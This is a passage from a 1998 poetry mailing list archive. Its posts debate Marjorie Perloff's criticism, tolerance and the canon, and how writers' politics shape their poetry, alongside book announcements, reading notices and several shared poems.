And I heard Eliza,Eliza and her odd-grown sentence whipping its chilly chain and the "chink" of that chain cacchinating all the way up the Hudson Valley onto my dark old stoop goddamn, And D.Bromige doing lawd knows what to his Keyboard to make us laugh god knows how, And Henry Gould in his fucked-up epic timbre scatting to his own devil-tuned trombones, & Mairead Byrne booted from the fug of Dublin pubs thinking she's P.Kavanagh pissing on an old back wall "No I was not important I was not important no", then trying to deal with the elitist devil vibes whirling out of Palo Alto with George Thompson watching

and the old Pali words saying "One whose mind is free of malice certainly wouldn't strike another living thing" and I'm thinking "yeah but does Perloff count, is she living" and knowing I'm being a total jerk and Weiss and Parcelli and Mayhew saying what the fuck do You know and DuCharme back there just waiting to kick my ass and BETSY ANDREWS wherever she is making me cry with joy and my Good Brain is reminding my Bad Brain mp's HUMAN she's HUMAN be decent be decent, but lawd ain't it HARD when people talk that way?: FOR

1). Is not the action of criticism which exercises the terms Important Bad Good & Lasting just normalizing criticism, FOR

2). are not MP's books being read by old guard students all over the country just so they can know what and how to think, FOR

3). is not MP the old guard despite who she's chosen to write about, BECAUSE as well all know It's not WHO she writes about it's HOW she writes BuT

I _will not_ be swayed from my course fuck it fuck it and may my argument be as Deft as the brushstrokes of Tintoretto, FOR

did I NOT cry Bruce Lee where art thou?, annd did he not come he DID, F-O-R

Lord I am barking again and there is some serious psychomachy rifling under my furious hair, saloon fight in frontal lobes, and YES

May your Thanksgiving be GOOD and for those not celebrating it due to constraints of non-north american sub-canadian geography and/or custom or beliefs about food, may you all, including those in Palo Alto, feel real warm and like it says on the gravemarker for cb: Don't Try. Just LOVE. love, Gaga

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864. Bob Grumman

Re: Loving-Kindness Vibes and one last Bark

Thu 26 Nov 1998

Gabriel Gudding wrote (among other things):

1). Is not the action of criticism which exercises the terms Important Bad Good & Lasting just normalizing criticism?

Yeah, you could call it that but discrimination is a better term for it. Sanity is perhaps the best term for it. We don't have time to read everything, Gabriel, so we need help to decide what to read. And the strength of character not to let anyone's help enslave us.

--Bob G.

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865. **Henry Gould**
all poetics is local
Thu 26 Nov 1998

Enjoying my braised & spitted air here on Thanksgiving & I sure hope you all are too, David, Elliza, Marjorie, Maria, Lurker #124, Mairead, Gabe, keyboard weirdos all. Not to forget Jack & Eric, good buddies.

Now on to the substance abuse of this post. Irregardless of her own (Maria's) exaggerations, and totally irregardless of the pros & cons of the Marjorie P. fandango, what I found interesting in Maria's post on the "enough already" bit was the presence of political memory.

Because it started some thinking in this old pate about some things that believe it or not the great "I, Henry" do not have the answers for & am actually, I, Henry, looking for discussion on.

This is a little hard to put into words. But essentially it's that I find it difficult to find a poetry that represents my own political aspirations. I have tried to do what I could in my own writing but have not gone far enough. I am very aware that the relations between actual politics, cultural politics, and art are very, very paradoxical and complex.

For example there has been issue, problem, or identity-oriented political art for some time. Dealing with feminist, racial-cultural, ecological, national-military issues; with poverty & oppression around the world. The most vital art in any medium takes its conceptual freedom & does something dynamically RELEVANT with it. This is the ethos of most engaged work.

Okay I will try to come to the point here. First, I don't see this engaged perspective as playing a role in the discourse about poetry much. What we have instead is a transmutation of real politics into cultural or art politics: your style or your clique is a political act in itself. But this is to displace real politics with a sort of sub-politics. The reason for this is, paradoxically, the ideological-conceptual STRENGTH of poetic tradition. Poetry is a medium of transmission not only of relevant or engaged issue politics; it's a medium of world-views, philosophy, comedy-tragedy, life as it is, ultimate questions, etc. etc. - i.e., poetry absorbs everything into its discourse. This is why the choices of style & voice & allies are so fraught with (pseudo) political meaning. & why we debate these abstractions (experimental, mainstream) over & over.

Let's say that writing poetry is political in itself, first of all. The best work of this century has been oppositional - it's art's sphere of freedom & possibility speaking - saying NO to things as they are on behalf of something better. It's art's freedom from consequences & allegiances using that freedom to expand horizons. Some artists & poets take that one step further into issue-engaged or

even politically committed (i.e. committed to the consequences of their dreams) poetry. This is a dangerous step which involves both losses & gains.

I would guess that the best practitioners of this kind of work are neither theoretical leftists of "experiment" & coterie-academy writing, nor artists "representing" the political aspirations of one particular segment of society (remembering that very few good poets can be pigeon- holed this way anyway); the best are probably some amalgam of slam- street work that has moved into performance art of some kind & is simply below the radar of most of us on this list.

But that still leaves me with the dilemma which I started out with in this post. As a reader & writer, I'm looking for a poetry which consistently & variously expresses MY politics. Because I'm for the working class, but I'm not a Marxist; I consider myself a feminist, but I don't think feminism is a master key to all issues; I'm for the poor, but I believe in private property; I'm against capitalism more like the Pope than like your coffeehouse intellectual; I'm a populist. People like Adrienne Rich & Thomas McGrath are more radical than me, but their poetics of looking for that populist idiom seems more relevant to me than experiment-as- leftism. Basically I'm looking for a Green Party that emphasizes government for the common good - a politics of compromise between bourgeois self-interest and universal ideals. Compromise - but on the side & with the strength of the mass, not on behalf of corporate lobbies & bought-out political honchos. The deal-maker mafias that run the world. If you go into this with your eyes open regarding human nature & traditions, this is an extremely difficult project & capable of become a joke, a parody or a tragedy very, very easily, as history shows over & over. But the "democracy" movements are ABOUT those ideals, and they aren't dead yet. (Tragedy: i.e., as in St. Petersburg last week.)

What I would like, if anybody's interested, is not a list of names of poets I should read, or a defense of "experiment", but a discussion about how as writers we all connect our local political lives & aspirations with our ambitions & aspirations as writers. Ezra Pound is a terrible name to bring up, but all his ranting & raving about "autarchy" (local control of self-sufficient economies; banks which serve the public interest) is something I find extremely suggestive when it comes to imagining a more vital, rooted, vibrant, sane, happy, artistic, independent "way of life"; a more conscious integration of education, craft, vocation, employment, ecology, art & culture in communities really struggling to survive as cultural entities. I know this sounds like a deracinated a-historical vague utopian goof. But I'm not talking about these abstracts in isolation from the particular local histories of places & communities. I'm doing a Mumford for Thanksgiving.

- Henry "the Old Buzzard" Gould

↑ Index

866. **dee morris**

Re: Out of Control @ Bridge Street -- new Retallack, Mayer, Mackey, Rasula/McCaffery, Trupwire &&&

Thu 26 Nov 1998

Here's my order. My address is

Dee Morris
431 Brown Street
Iowa City, IA 52245

Thanks for these terrific packages. & Happy Thanksgiving to you . . .

Dee

> *2. _An Anthology of New Poetics_, ed Christopher Beach, U Alabama, $29.95. David Antin, Rae Armantrout, Charles Bernstein, Maria Damon, Michael Davidson, Rachel Blau DuPlessis, Lyn Hejinian, Susan Howe, Hank Lazer, Nathaniel Mackey, Steve McCaffery, Bob Perelman, Marjorie Perloff, Leslie Scalapino, James Sherry, Ron Silliman, John Taggart, & Barrett Watten.*
>
> *7. _Dance Writings and Poetry_, Edwin Denby, ed Robert Cornfield, Yale, $18. Much more of the dance writing than the poetry.*
>
> *19. _How To Do Things With Words_, Joan Retallack, Sun & Moon, $10.95. Signed copies. Includes the hits "The Woman in the Chinese Room," "Shakespeare was a Woman," "A I D /I/ S A P P E A R A N C E," "Steinzas in Mediation," "Japanese Presentation I & II," & "The Earlier N'ames Are Almost Forgotten."*
>
> *22. _Ron Silliman and the Alphabet_, ed Thomas A. Vogler, Quarry West 34, $15. Thomas C. Marshall, Hank Lazer, Tyrus Miller, Lytle Shaw, Marjorie Perloff, Silliman interview, essays, and bibliography.*
>
> *23. _Talisman 19: Armand Schwerner_, ed Ed Foster, $9. Theodore Enslin, John Tritica, Andrew Schelling, Burt Kimmelman, Brian McHale, Garrett Kalleberg, Pam Rehm, Heather Ramsdell, Lisa Jarnot, Susan Wheeler, &&&. "Anomalous circus events take the shape of mandible density in the great outer planets."*
>
> *_The Letters of Mina Harker_, Dodie Bellamy, Hard Press, $13.95.*
>
> *Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, & card # & we will send a receipt with the books. We must charge some shipping for orders out of the US.*

> *Bridge Street Books, 2814 Pennsylvania Ave NW, Washington, DC 20007.*

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867. **A. Jenn Sondheim**
Do Men Cry, By Jennifer (fwd)
Thu 26 Nov 1998

-

Do Men Cry, By Jennifer

No, men do not cry, and I am not sure they could be Taught to. I have seen many men and they do not cry, even when there are things that would make Them cry if they could. I am sure of this from my obversation Study. Now I have seen many a distrawt woman who will be sitting in a Chair looking very sad with tears runing down her Face. She is doing Crying. And then a man will come Over to that woman and he will put his Hand on her showlder. He will Stand there just with his Hand on her showlder. And she will put Her hand on his Hand. Then she may not be So distrawt, I do not know from obversation study. But he will not Cry too.

↑ Index

868. **david bromige**
re : all poetics is local
Thu 26 Nov 1998

Dime to a donut Bowering weighs in on that "irregardless" vocab item. (His Dad was a schoolteacher, y'know.) Part of what I admire about GB is that, for a poet, he is very leftbrain. So watch out, here he comes. . . . .

↑ Index

869. **Amy King**
Re: Announcing: Log Rhythms by Charles Bernstein & Susan Bee
Thu 26 Nov 1998

This is a multi-part message in MIME format.

charset="iso-8859-1"

Do you know how many pages yet?

Thank you,

Amy King

-----Original Message-----
From: Steven Clay <[redacted]>
To: [redacted] <[redacted]>
Date: Wednesday, November 18, 1998 7:17 PM
Subject: Announcing: Log Rhythms by Charles Bernstein & Susan Bee

Granary Books
announces the publication of
Log Rhythms
by Susan Bee and Charles Bernstein

In Log Rhythms, Susan Bee sets and illustrates a long serial poem by Charles Bernstein, offering a running visual dialog with the poem's textual acrobatics. Bee has created a visual counter-text for Bernstein's poems in four previous books Little Orphan Anagram (Granary), The Occurrence of Tune (Segue), Fool's Gold (Chax), and The Nude Formalism (Sun & Moon). In this work, Bee's illustrations comment on and extend the many far-flung motifs of the poem, from a list of "Bob's" businesses to fractured and re-sung nursery rhymes ("Oh, do you know the muffled man?"). At times dark, at times dizzyingly demented, swerving from the wildly comic to the searingly political, from the whimsical to the elegiac, Bee and Bernstein explore the psychopathology of everyday life with what The New York Times calls (in reference to Little Orphan Anagram) "real visual éclat".

Log Rhythms is printed in black and white. The illustrations were first made with brush, ink, and wash combined with collage and then printed offset by Brad Freeman on Warren's Lustro Dull. Cover design by Susan Bee and Philip Gallo, laser-printed in color at the Hermetic Press.

The edition consists of 500 copies; 8 1/4 x 11"; ?? pages.

The price is $25 till December 15; $35 thereafter

Residents of the state of New York add 8 1/4% sales tax
Shipping is $3 (U.S. & Canada) $6 (everywhere else).

ISBN 1-887123-25-3

Granary Books
568 Broadway #403
New York, NY 10012 USA

[redacted]
www.granarybooks.com

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<B>From: </B>Steven Clay <<A href="mailto:[redacted]">[redacted]</A>>
<B>To: </B><A href="mailto:[redacted]">[redacted]</A> <<A href="mailto:[redacted]">[redacted]</A>>
<B>Date: </B>Wednesday, November 18, 1998 7:17 PM
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Granary Books
568 Broadway #403
New York, NY 10012 USA

[redacted]
www.granarybooks.com<?/smaller><?/fontfamily> </BLOCKQUOTE></BODY></HTML>

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870. Randy Prunty
Re: Announcing: Log Rhythms by Charles Bernstein & Susan Bee
Thu 26 Nov 1998

Amy, I've been wondering the same thing!!!

I think i really might want to buy that book, but there's no way I'm gonna commit until I know how many pages. who knows what kind of devious scam they might be running.

Rinde Skepticov

↑ Index

871. Amy King
Re: Announcing: Log Rhythms by Charles Bernstein & Susan Bee
Thu 26 Nov 1998

Esp. during the holiday seasons ... "free" poetics indeed!

-----Original Message-----
From: Randy Prunty <[redacted]>
To: [redacted] <[redacted]>
Date: Thursday, November 26, 1998 4:07 PM
Subject: Re: Announcing: Log Rhythms by Charles Bernstein & Susan Bee

>Amy, I've been wondering the same thing!!!
>
>I think i really might want to buy that book, but there's no way I'm gonna
>commit until I know how many pages. who knows what kind of devious scam they
>might be running.
>
>Rinde Skepticov
>

↑ Index

872. Hank Lazer
self-portrait in a convex mirror
Thu 26 Nov 1998

Why I Am Not Bob Dylan

I'm Charles Bernstein

omnivorous schtick

the whiz of metaphysics

do you know

the muffled man

the muffled man

hell

they all use

a megaphone

and croon a jewish

klezmer tune

bar mitzvah boy

bar mitzvah boy

this

my pride & joy

& danced by the light of the moon

A happy turkey day, Charles, to you, Susan, Emma, & Felix.

Hank

↑ Index

873. David Baratier
Re: Listen, Kent
Thu 26 Nov 1998

Eliza--

I am checking mail on the road right now (more on poetix when situated) and while I thank you for placing me on the HOT list with the other adoreables, I must say that I am quite tired of yet another attributation towards my transgendered identity. It was the eighties, when all men had to grow hair, wear lipstick

and the like to get a record deal. While Drew Barrymore has been inside me, all these people bringing it up again in the past few weeks infuriates.

Regarding the choice of the Levis etc. "I" poems, that is bent of the anthologist, who gets laid quite frequently and placed together the anthology to uplift a few winter months when the seasonal affectation disorder runs full swing and to look at later and feel better during moments of low self esteem.

Gotta go, Be well

David Baratier

↑ Index

874. **Eliza McGrand**
Re: all poetics is local
Fri 27 Nov 1998

---

henry

i was thinking of a few authors when i read your post. i won't do this as a list of who you must read, but i do want to suggest some of the ways i've seen writers translate their political/social/personal beliefs into their writing within a loose, quick, theoretic frame.

i don't think a politically/etc influenced poetic need be dramatic, big, obvious, earthshaking. it can be as simple and personal as the choice r.j mccaffery and i, seperately and without knowing each other, made -- mine influenced by something martin espada said. we all write poems about other people, poems telling other people's stories. i decided to make a point of making at least 1/2 of my writing be about someone else. espada talked about writing the stories of people he knows who don't write, so they are part of the cultural literary legacy. i liked that. a small thing, eh? but politics/ethics put into poetic practice.

or, judy grahn wanted to see women's stories get told, she wanted to explore rhythms of language she heard from women and didnn't hear in male-centric writing, and she wanted the lives and images of working class women to enter poetic body of text. so, _Common Woman Poems_. and she cared for an older friend who was dying, and began confronting death and it's effects, and wanted to write a poem for other people, especially women, burdened with knots around notion of death, so, "A Woman Is Talking To Death." and her early linguistic experiments.

bruce weigl wanted to write about things that were important to him, especially vietnam and his working class hometown and family roots. but at the same time, he didn't want to be considered "a vietnam writer." he wrote poems, some about vietnam, criticism, got ph.d., and then, he joined with some other vietnam

vets in project to break down walls he felt were culturally/governmentally imposed between american vets and vietnamese. so they all began travelling to vietnam, corresponding with vietnamese, researching the culture, and just in general, countering the propaganda during the war aimed at dehumanizing vietnamese. it is not just that a number of books have come from this with poems about going back to vietnam, or that he has begun translating vietnamese poetry. it is that buddhism, vietnamese culture, vietnam war from viewpoint of vietnamese have all begun changing his world view. i could name a bunch of other writers involved in project -- tim o'brien, larry heinemann, kevin bowen. or there is lady borton -- not a poet but an autobiographist, essay writer, a quaker woman busdriver who ran a refugee camp for vietnamese and cambodians, who worked as hospital manager during vietnam war. politics in action.

or, again not poets, but look at the lives and writing of tillie olson, meridel leseuer. both working class women, poor, struggling, who wanted to put those aspects of their lives not just into literature as SUBJECT matter, but as style, form, philosophy, imagery.

none of this, perhaps, madly dramatic, none of it sudden fixes. all of it a direction, really, of writing, of choice, that comes from personal/political choices. another example, again, personal? _The Battered Poems_, my latest finished ms. of poetry, has a section of poems about the framingham eight, one for each woman. in one poem, i found myself thinking that the woman, shannon booker, when i've heard her speak, has stressed alot how she didn't speak out in her own life, how she was taught NOT to speak. so when i sat to write a poem about her, i decided i'd include a lot of quotes from her own words, to let her "speak" in my poem, and i found myself shaping the movment and themes toward things she had expressed. or with another woman, patricia allen, i felt as if there was this "how could she have done it" attitude expressed by the prosecution in her case that blatantly ignored a lot of the evidence, the obvious circumstances of the case. so i made the poem a collage of voices, many of them people like social workers, the major political figures of the day (ray-gun, quayle), legal counsels...

again, not earthshattering, but just natural extensions of some of the ethical questions/issues/thoughts i had about subject, or they felt natural to me anyway...

hope this is in some way a useful discussion...
e

↑ Index

875. **George Bowering**
re : all poetics is local
Fri 27 Nov 1998

> *Dime to a donut Bowering weighs in on that "irregardless" vocab item. (His Dad was a schoolteacher, y'know.) Part of what I admire about GB is that, for a poet, he is very leftbrain. So watch out, here he comes. . . . .*

Nah, disirregardless of what Brom says, I am a sloppy liberal all over.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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876. **Susan Wheeler**
Long Island Reading
Fri 27 Nov 1998

I'll be reading Saturday evening at 6:00 at Canio's bookstore in Sag Harbor, for anyone out Long Island-way.

Susan Wheeler
[redacted]
voice/fax [redacted]

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877. **Mairead Byrne**
Re: Do Men Cry, By Jennifer (fwd)
Fri 27 Nov 1998

Some Men Cry

I have known criers. Male criers. Lusty criers. Broken-hearted criers. When men cry bone-cages shake, hair wettens, hands crawl to heads, faces break. Lost loves come tumbling out sometimes when men cry. Down close to the dirty carpet he cries looking for something left over inside his hands. He cries wildly. He cries without connection to any damn thing, hunting for string that should attach him at shoulder at elbow at hip and knee to something, even to himself. Sometimes his sobs rack with hers: maybe the best cries. If a man who does not cry comes to a crying woman and puts his hand on hers, she cries more.

On Thu, 26 Nov 1998, A. Jenn Sondheim wrote:

> -
>
> *Do Men Cry, By Jennifer*
>
> *No, men do not cry, and I am not sure they could be Taught to. I have seen many men and they do not cry, even when there are things that would make Them cry if they could. I am sure of this from my obversation Study. Now I have seen many a distrawt woman who will be sitting in a Chair looking very sad with tears runing down her Face. She is doing Crying. And then a man will come Over to that woman and he will put his Hand on her showlder. He will Stand there just with his Hand on her showlder. And she will put Her hand on his Hand. Then she may not be So distrawt, I do not know from obversation study. But he will not Cry too.*
>
> ---

↑ Index

878. **litsam**

Re: Do Men Cry

Fri 27 Nov 1998

Finally! A poetic resurgence from the group. On the day AFTER Thanksgiving, I am a grateful and, yes, sometimes crying man.

Sam

Original Message -----
From: Mairead Byrne <[redacted]>
To: <[redacted]>
Sent: Friday, November 27, 1998 5:36 AM
Subject: Re: Do Men Cry, By Jennifer (fwd)

> *Some Men Cry*
>
> *I have known criers. Male criers. Lusty criers. Broken-hearted criers. When men cry bone-cages shake, hair wettens, hands crawl to heads, faces break. Lost loves come tumbling out sometimes when men cry. Down close to the dirty carpet he cries looking for something left over inside his hands. He cries wildly. He cries without connection to any damn thing, hunting for string that should attach him at shoulder at elbow at hip and knee to something, even to himself. Sometimes his sobs rack with hers:*

> *maybe the best cries. If a man who does not cry comes to a crying woman and puts his hand on hers, she cries more.*

↑ Index

879. Steven Clay
Announcing: Log Rhythms by Charles Bernstein & Susan Bee
Fri 27 Nov 1998

The book has 24 pp.
sc.

↑ Index

880. Hannah J Sassaman
I Love Learning Things!
Fri 27 Nov 1998

Just saw IT'S A WONDERFUL LIFE for the first time yesterday. Never knew where the journal name *ZUZU'S PETALS* came from -- now I know!

When I learn tidbits like that from a movie so integral to holiday pop culture, you know it's time for me to pick up some NYT bestseller and snuggle in with a cup of hot chocolate. Bah to journals, while I'm home for Thanksgiving, at least!

Happy Turkey Days to you all,

Hannah Sassaman

****

Hannah Jane Sassaman
Sophomore, University of Pennsylvania
Majoring in Theatre Arts and English
Editor at CrossConnect (http://ccat.sas.upenn.edu/xconnect)

School Address: Home Address:
4009 Pine St. 42 Framingham Lane
Philadelphia, PA 19104 Pittsford, NY 14534

Talk not of wasted affection; affection never was wasted.
-- Henry Wadsworth Longfellow

My father warned me about men and booze, but he never mentioned a word about women and cocaine.

-- Tallulah Bankhead

↑ Index

881. James Brook
new issue of Pharos
Fri 27 Nov 1998

Actually, it's the "newly arrived" issue--the spring 1998 issue of Pharos magazine, based in Paris, is on these shores and otherwise available.

Contents includes poems by Alice Notley, Douglas Oliver, Dawn Michelle Baude, James Brook, and Nina Zivancevic. There's a funny story about the cracker-thin pleasures of a literary party, too.

Price is 30 francs, which translates to about five or six dollars.

Address for business of all kinds is

Pharos
The British Institute
11, rue Constantine
75007 Paris
France

↑ Index

882. Billy Little
reading treats
Fri 27 Nov 1998

i'm still reading kimball and bromige's poetries of canada, each click opens another morsel, collections of this strength are rare and to have it all at the beck of your cursor tripley so. two of the reasons i like it this morning are 1.

George Stanley

The Power of the Unhappy People

The unhappy people have great power.
They invest in the unhappiness of others.

Not generic unhappiness, the kind
of unhappiness anyone could feel,
but designer unhappiness, the exact
shape of the hole in your heart.

These are dreams without doors. Let the blonde
demonstrator slip one around your feelings.
As it goes on, it clings like shrink-wrap.

Now the birds can cry in the night, and you
won't hear them. Or your ancestors. Or jazz.

The image of your death will dance for you
with as many veils as you please.

In your fog-coloured room, in your Queen Anne chair,
you may wish you were dead, but be glad of that wish
since it sets you above the common sort
inured to ordinary unhappiness.

And we, the investment community, will grin.
(Though like you, we cannot feel the sun or hear the rain.
Or jazz.) We will grin at the thought of you dreaming.

More & more people must become rich & unhappy,
so the original unhappy people can die rich.

and 2

Meredith Quartermain

Prayer for Geography

To all who fall
to matter
write the earth
a space of white
break of bread
plates break in relief
write stones cocks cry
to collected waters
or hollow fire of iron.

Eat atmosphere, a garland
sift on a drift
post out the earth's hearth
to horizon and swallow heat
of antipodes
plants ride out in leaves

to mirror oceans
to finger rivers tribulations
smooth away our tombs.

Figures of earth, press out our bodies.
Strange our urge into that which takes stand.
Distribute our loom
work through the scape the seek of air
each ear our forgotten art.

For these are our herdsmen
and without this earth as
risk we have no
right of river hear
our three yonders a sphere
of being of geography to the
ring of ocean above them
the maps antipodean
tenderness in all who fall
to matter who come simply
to throw shadows on the moon's
shifting horizon who
devote constellations to the ends
of the earth wide
from the road of symmetry.

Colin Smith's Multiple Poses from Tsunami is a scream and cheaper than a roller coaster and you can go back ad eternatum for the same low price. A Frank O'Hara for the 21st century? these words seem to careen from the epiglottis, his tongue twisting makes a resonance with gerry gilbert and dotty lusk and gerry creede and renee rodin for that matter, very vancouver? quel marrant, seriously funny, manick soars/fissionary elucidations, in the fewchair they'll say his spew flew, spitterature is one of the strong points of the KSW/ downtown Vancouver praxis, Kevin Davies and Jeff Derksen being exemplar. You don't have to take my word for it you can check out in

The New Raddle Moon which features a strong selection of vancouver writers with naturally some overlapping with poetries of canada, more Meredith Quartermain, more Melissa Wolsak, Lisa Robertson, Lary Timewell, Kevin Davies, Dorothy Trujillo Lusk, Jeff Derksen, even the brainwashed bagdaddy, the sweetheart of sebastapol, the romeo of the russian river hisself, and more Marie Anneharte Baker, the star of the bp conference reclaiming coyote. Susan Clark has done another marvelous job with Raddle Moon's issue 17 also includes some new quebecois poets selected by Nicole Brossard, some new poems by Jackson Mac Low, Rae Armantrout, in the classiest package all for merely $10, or two issue subscriptions for $15,

billy little
4 song st.
nowhere, b.c. V0R1Z0
[redacted]

Go ahead and say something true
before the big turd eats You
You can say any last thing in Your poem.

-Alice Notley

↑ Index

883. **sylvester pollet**
Re: I Love Learning Things!
Fri 27 Nov 1998

Three cheers for Hannah! You get my Best Message Title Award, for bringing some joy to this world-weary list. Happy Turkey Days to you! (& all). Sylvester, in rainy Maine.

At 11:13 AM -0500 11/27/98, Hannah J Sassaman wrote:
>Just saw IT'S A WONDERFUL LIFE for the first time yesterday. Never knew
>where the journal name *ZUZU'S PETALS* came from -- now I know!
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>When I learn tidbits like that from a movie so integral to holiday pop
>culture, you know it's time for me to pick up some NYT bestseller and
>snuggle in with a cup of hot chocolate. Bah to journals, while I'm home
>for Thanksgiving, at least!
>
>Happy Turkey Days to you all,
>
>Hannah Sassaman
>

↑ Index

884. **Christina Fairbank Chirot**
Re: AntolerInce
Fri 27 Nov 1998

Isn't this debate really about--to use that weary, beaten term, at once victimized and despotic--the CANON? I agree with a number of the poets who have written in--of course, if one makes work, there's tons of other work one detests. God! That person who writes this palaver--they must be blind! No ear! They were born and bred on milquetoast! They're ruining the eyes and ears and movements of all those who read them! They're butchers--putting out eyes and ears and bodies liike so many candles! One could get far more violent--and one does in one's heart so to spak--but don't waste time looking at the waist line as the Contours used to sing--better to get on with the work, keep on guerilla style

. . . The fallacy of Perloff's argument to me is that she is NOT A POET--(and here of course I may be practising my own form of intolerance . .)--
BUT she is in the position and has been for years of telling others who (the right) poets are-- i.e. she is working away on the edifice called the canon, inscribing her own name on it as on the spines of her books-- and in her classes-- as last year in teaching a visual poetry course--which frankly could have thrown a lot of beautiful monkey wrenches into the whole works of the Stanford machinery!--and opened up some people's eyes, ears, bodies, n0ses, hands--and instead Perloff ignored the generous and highly informed advice of a number of visual poets (who also do write essays and reviews, publish the work of others and participate in exhibitions and performances) on this list and blithely went on teaching a kind of revised (er, updated) version of her books-- of course Perloff has every right to do so-- yet this is about the making of canons--not OPEN reading, but CLOSE(D) reading-- by OPEN--think of any poet whom you passionately care for--don't they continually OPEN everything for you? and that openess is not some fuzzy feeling, but a challenge thrown done--and any passionate reader is a "close" reader--but not a closed one . . . well--take a cannon to the canon--why not? but it's hard to knock it down! it's well guarded and well financed by the Perloffs of the world--who exploit the intolernace so called of poets into the intolerance of the academy, the market, the teaching of the next generation of teachers and critics . . . in short, a form of hypocrisy which is so self righteous that it can claim intolerance as a virtue . . . to exploit-- in the name of the poets!

but then it's a funny world eh? as the Brazilian proverb says "When shit is worth money, the poor will be born without assholes" . . . close/open--in a dream this poem appeared as a graffiti on a shattered building in Boston, where i among the squatters lived--

the
po em
is in
side

intolerance/tolerance--maybe not either/or but both/and . . as many of the poets demonstrate in their posts-- but that's not laying down the law on your fellow workers--it's just telling them off--they're wasting paper for God's sake! they suck! they're pigs--they suck up everything!--by God! we'll show them! we''ll make something far better and more challenging and all! we'll ignore their continual braying! --and so on-- maybe the difference might be summed up by a phrase by Clark Coolidge on writing: "if you're going to be a speaker, say it"-- maybe Perloff and Bill Bennett can go on tour . . . dbc

↑ Index

885. **Christina Fairbank Chirot**
Re: AntolerInce
Fri 27 Nov 1998

David, if you log back in, DELETE DELETE DELETE or I will & then go home & clean house

tina

↑ Index

886. **Jacques Debrot**
Re: PERLOFF
Fri 27 Nov 1998

The question of (in)tolerance is a difficult one, isn't it? On the one hand, innovative poetry demonstrates & embodies the *pleasures of contradiction*. On the other hand, the difference between Pinsky & Howe is an ethical as much as an aesthetic distinction inasmuch as their work implicates opposing moral values. Neutrality, then -- or tolerance -- can seem merely lazy. At the same, it seems important not to respond to traditionalist work in automatic & predictable ways --either in a positive or a negative sense. (A distinction might also perhaps be drawn here between the function of reviews vs. that of literary criticism.) In any case Perloff's willingness to engage with opposing poetries is well documented -- you might want to check out Hank Lazer's excellent book _What is a Poet?_ however to see how such a dialogue cannot & should not result in anything like a reconciliation of differences. There, the dialogue between Perloff, Louis Simpson, Gerald Stern, Charles Bernstein, Helen Vendler, David Ignatow, et. al., clearly reveals the irreconcilable ethical dimension lurking beneath formal & aesthetic choices. Perloff has her own canon, obviously, but then so does each of us & she can hardly be faulted if, through her energy & intelligence, her canon is more consequential in the world than, say, my own. My initial reaction to her asking Gabriel for his credentials was quite negative & yet her remarks could also be interpreted as an invitation & a challenge to engage with her in a wider venue than the Poetix List. Even she might perhaps concede however that, in the arts, the impulse to bite the hand that feeds you (hers in this instance) is fundamentally a healthy one -- every truly original poem, every truly original critique, after all entails destruction as much as creation.

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887. **Joe Brennan**
Re: PERLOFF
Fri 27 Nov 1998

In a message dated 11/27/98 3:29:52 PM Eastern Standard Time, [redacted] writes:

<< the other hand, the difference between Pinsky & Howe is an ethical as much as an aesthetic distinction inasmuch as their work implicates opposing moral values. N >>

an interesting remark, Jacques, and i wonder if you would elaborate on it?

joe brennan

↑ Index

888. **Marjorie Perloff**
Re: non-poets on poetry
Fri 27 Nov 1998

Christina Chirot informs the List that I have no right to comment on poetry because I'm not a poet. Then in her next paragraph she declares that my course on Visual Poetics was suspect because I didn't listen to "well informed" people who could tell me what to teach (like their own visual poems!). So now it seems I'm not allowed to be an academic either because by some wonderful inverse reasoning, only poets decide what should be taught in such a course!

The TOLERANCE exhibited here is really something.

↑ Index

889. **MAYHEW**
Re: AntolerInce
Fri 27 Nov 1998

It seems to me the argument "Perloff is not a poet" is totally bogus. There are poets who are idiots.

Also, someone who is so well-known can make an easy target for people who are basically anonymous. So when MP says "and what have YOU written?" it could be taken in this spirit: what do you offer to this debate? Let's debate YOUR writing. If someone disagrees with some specific thing Perloff has written, that's fine. But the blanket statement: Perloff is the sort of critic who... has no validity in my accounting.

Jonathan Mayhew
Department of Spanish and Portuguese

University of Kansas
[redacted]

↑ Index

890. **michael corbin**
Re: AntolerInce
Fri 27 Nov 1998

MAYHEW wrote:

> *totally bogus.*
> *poets who are idiots.*
>
> *for people who*
> *are basically anonymous.*
>
> *But the blanket statement:*
> *my accounting.*
>
> *University of Kansas*

I was just reading Alfred Crosby's _Measure of Reality_.

I liked in particular the history of double-entry book-keeping.

A kind of radical artifice.

In the age of media

and lists.

And the attempts at the oppositional manqué

in the various performed celebrity

and intellectual labor.

My eyes are getting bad, so when I look up at

the dome in the Jefferson building, main reading room

all the paean to poets laurels seem lost

in the dust motes, but maybe that is

what congressional libraries are bout.

Demos, nihil obstat.

mc

↑ Index

891. A. Jenn Sondheim
Re: non-poets on poetry
Sat 28 Nov 1998

I have to agree strongly here with Marjorie Perloff. By such criteria, none of us could critique anything whatsoever example whatever is genera- ted by (for me, suspect) identity politics. It's not even a question of tolerance. Everyone has a right to her or his own opinion; Perloff's is certainly well-informed, but even if it wasn't, one would hope the _ideas_ would be discussed - instead of ill-natured ad feminem/hominem attacks.

If anything, Perloff has generated more intelligent discussion on this list re- cently than most of the other contributors, including myself.

Alan

On Fri, 27 Nov 1998, Marjorie Perloff wrote:

> *Christina Chirot informs the List that I have no right to comment on poetry because I'm not a poet. Then in her next paragraph she declares that my course on Visual Poetics was suspect because I didn't listen to "well informed" people who could tell me what to teach (like their own visual poems!). So now it seems I'm not allowed to be an academic either because by some wonderful inverse reasoning, only poets decide what should be taught in such a course!*
>
> *The TOLERANCE exhibited here is really something.*

↑ Index

892. Kathy Lou Schultz
Re: non-poets on poetry/salient points
Sat 28 Nov 1998

I remember the number of "poets" I encountered in my MFA program who had read very little, if anything, and were quite happy about continuing in this state of ignorance because their writing was about "personal expression." Do I think these people are qualified critics or teachers or poetry? No I certainly do not. Give me a team of Perloffs any day. The classroom is not, despite what some might hope, a democracy in which "poets" decide what poetry should be taught. Every person on this list who teaches a course is--hopefully--relying upon years of study and careful consideration of the subject in making critical choices about what to include on any given syllabus. And, yes, they are allowed those

